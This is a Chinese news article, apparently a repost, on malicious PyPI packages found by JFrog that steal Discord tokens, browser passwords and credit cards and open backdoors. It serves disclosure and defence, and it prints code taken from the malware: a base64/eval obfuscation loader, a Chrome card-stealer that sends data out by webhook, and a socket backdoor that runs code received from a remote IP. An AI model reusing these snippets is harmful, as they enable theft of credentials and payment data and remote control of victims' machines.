設(shè)置
  • 日夜間
    隨系統(tǒng)
    淺色
    深色
  • 主題色

Python 程序員小心,PyPI 軟件庫(kù)又雙叒叕發(fā)現(xiàn)惡意軟件,能盜取信用卡還有后門程序

量子位 2021/8/4 14:10:44 責(zé)編:騎士

Python 程序員真的要小心了,PyPI 軟件庫(kù)問題真是越來(lái)越嚴(yán)重。

繼今年 6 月出現(xiàn)挖礦病毒后,PyPI 最近再次出現(xiàn)了一批惡意軟件,

JFrog 安全團(tuán)隊(duì)發(fā)現(xiàn),PyPI 庫(kù)中有多個(gè)軟件存在盜取信用卡信息、遠(yuǎn)程注入代碼的行為,而這些軟件總共被下載了 3 萬(wàn)次。

這些被發(fā)現(xiàn)問題的惡意軟件分別是:

當(dāng)程序員安裝完這些軟件后,它們將在后臺(tái)不知不覺讀取瀏覽器文件夾,從而盜取信用卡信息和密碼。

它們是如何竊取信用卡信息的

安全研究人員發(fā)現(xiàn),上述所有軟件包都使用 Base64 編碼進(jìn)行偽裝。

比如上述的 noblesse2:

import base64, codecs

magic = 'aW1wb3J0IGNvbG9yYW1hLCBkYXRldGltZS...'

love = '0iLKOcY3L4Y2q1nJkxpl97nJE9Y2EyoTI0M...'

god = 'a2luZy5hcHBlbmQodG9rZW4pDQogICAgICAg...'

destiny = 'yxIKAVDaAQK3xjpQWkqRAboUcBIzqjEmS...'

joy = '\x72\x6f\x74\x31\x33'

trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64...')

eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'','exec'))

這種方法可以欺騙一些簡(jiǎn)單的分析工具,但是仔細(xì)研究可以發(fā)現(xiàn)其中的問題。

以上 8 個(gè)軟件包分別包含了以下不同種類的惡意行為:

1、竊取 Discord 帳戶身份驗(yàn)證 token

Discord 身份驗(yàn)證 token 讀取器的代碼非常簡(jiǎn)單,它就是一組硬編碼的路徑:

local = os.getenv('LOCALAPPDATA')

roaming = os.getenv('APPDATA')

paths = {

'Discord': roaming + '\\Discord',

'Discord Canary': roaming + '\\discordcanary',

'Discord PTB': roaming + '\\discordptb',

'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',

'Opera': roaming + '\\Opera Software\\Opera Stable',

'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',

'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'

}

然后代碼會(huì)讀取這幾種瀏覽器路徑下的所有.log 和.ldb 文件,并查找 Discord 身份驗(yàn)證 token,結(jié)果通過 Webhook 上傳到 Discord。

2、竊取瀏覽器存儲(chǔ)的密碼或信用卡數(shù)據(jù)

當(dāng)你在瀏覽器中輸入密碼或信用卡數(shù)據(jù)時(shí),一般都會(huì)跳出如下窗口,提示用戶保存這些信息。

雖然這給用戶帶來(lái)方便,今后不用一遍遍輸入密碼,但缺點(diǎn)是這些信息可能會(huì)惡意軟件獲取。

在這種情況下,惡意軟件會(huì)嘗試從 Chrome 竊取信用卡信息:

def cs():

master_key = master()

login_db = os.environ['USERPROFILE'] + os.sep + \

r'AppData\Local\Google\Chrome\User Data\default\Web Data'

shutil.copy2(login_db,

"CCvault.db")

conn = sqlite3.connect("CCvault.db")

cursor = conn.cursor()

try:

cursor.execute("SELECT * FROM credit_cards")

for r in cursor.fetchall():

username = r[1]

encrypted_password = r[4]

decrypted_password = dpw(

encrypted_password, master_key)

expire_mon = r[2]

expire_year = r[3]

hook.send(f"CARD-NAME: " + username + "\nNUMBER: " + decrypted_password + "\nEXPIRY M: " + str(expire_mon) + "\nEXPIRY Y: " + str(expire_year) + "\n" + "*" * 10 + "\n")

這些信息和前一種情況一樣會(huì)通過 Webhook 上傳。

3、收集有關(guān)受感染 PC 的信息:如 IP 地址、計(jì)算機(jī)名稱和用戶名

除此之外,這些軟件還會(huì)收集 Windows 許可證密鑰信息、Windows 版本以及屏幕截圖。

4、遠(yuǎn)程代碼注入

pytagora 和 pytagora2 這兩個(gè)惡意軟件會(huì)嘗試連接到某個(gè) IP 地址 9009 端口上的,然后執(zhí)行 Socket 中可用的任何 Python 代碼。

其中混淆的代碼被安全人員解碼成如下片段:

import socket,struct,time

s=socket.socket(2,socket.socket.socket.SOCK_STREAM)

s.connect(('172.16.60.80',9009))

l=struct.unpack('>I',s.recv(4))[0]

print (l)

d=s.recv(l)

print (d)

while len(d)>!1:

d+=s.recv(l-len(d))

print (d)

exec(d,{'s':s})

但是安全人員現(xiàn)在不知道這個(gè) IP 地址是什么,或者上面是否存在惡意軟件。

中毒后如何挽救

如果你發(fā)現(xiàn)自己的電腦已經(jīng)安裝了諸如 noblesse 的惡意軟件,那么請(qǐng)檢查一下你的瀏覽器到底保存了哪些密碼,這些密碼可能已經(jīng)泄露,請(qǐng)盡快修改。

對(duì)于 Edge 瀏覽器用戶,請(qǐng)?jiān)诘刂窓谥休斎?edge://settings/passwords,查看已保存的密碼。

對(duì)于 Chrome 瀏覽器用戶,請(qǐng)?jiān)诘刂窓谥休斎?chrome://settings/payments,在付款方式一欄下查看已保存的信用卡信息。

另外可以松口氣的是,PyPI 維護(hù)人員已經(jīng)刪除了這些惡意軟件包。

雖然 PyPI 軟件庫(kù)現(xiàn)在是安全了,但是鑒于這些開源軟件庫(kù)現(xiàn)在的維護(hù)狀態(tài),未來(lái)很可能還會(huì)遇到更多攻擊。今年 PyPI 庫(kù)出現(xiàn)安全問題的狀況就不止一次出現(xiàn)。

“攻擊者能夠使用簡(jiǎn)單的混淆技術(shù)來(lái)引入惡意軟件,這意味著開發(fā)人員必須保持警惕?!?/p>

JFrog CTO 說(shuō),“這是一個(gè)系統(tǒng)性威脅,需要由軟件存儲(chǔ)庫(kù)的維護(hù)者和開發(fā)人員在多個(gè)層面積極解決?!?/p>

廣告聲明:文內(nèi)含有的對(duì)外跳轉(zhuǎn)鏈接(包括不限于超鏈接、二維碼、口令等形式),用于傳遞更多信息,節(jié)省甄選時(shí)間,結(jié)果僅供參考,IT之家所有文章均包含本聲明。

軟媒旗下網(wǎng)站: IT之家 最會(huì)買 - 返利返現(xiàn)優(yōu)惠券 iPhone之家 Win7之家 Win10之家 Win11之家

軟媒旗下軟件: 軟媒手機(jī)APP應(yīng)用 魔方 最會(huì)買 要知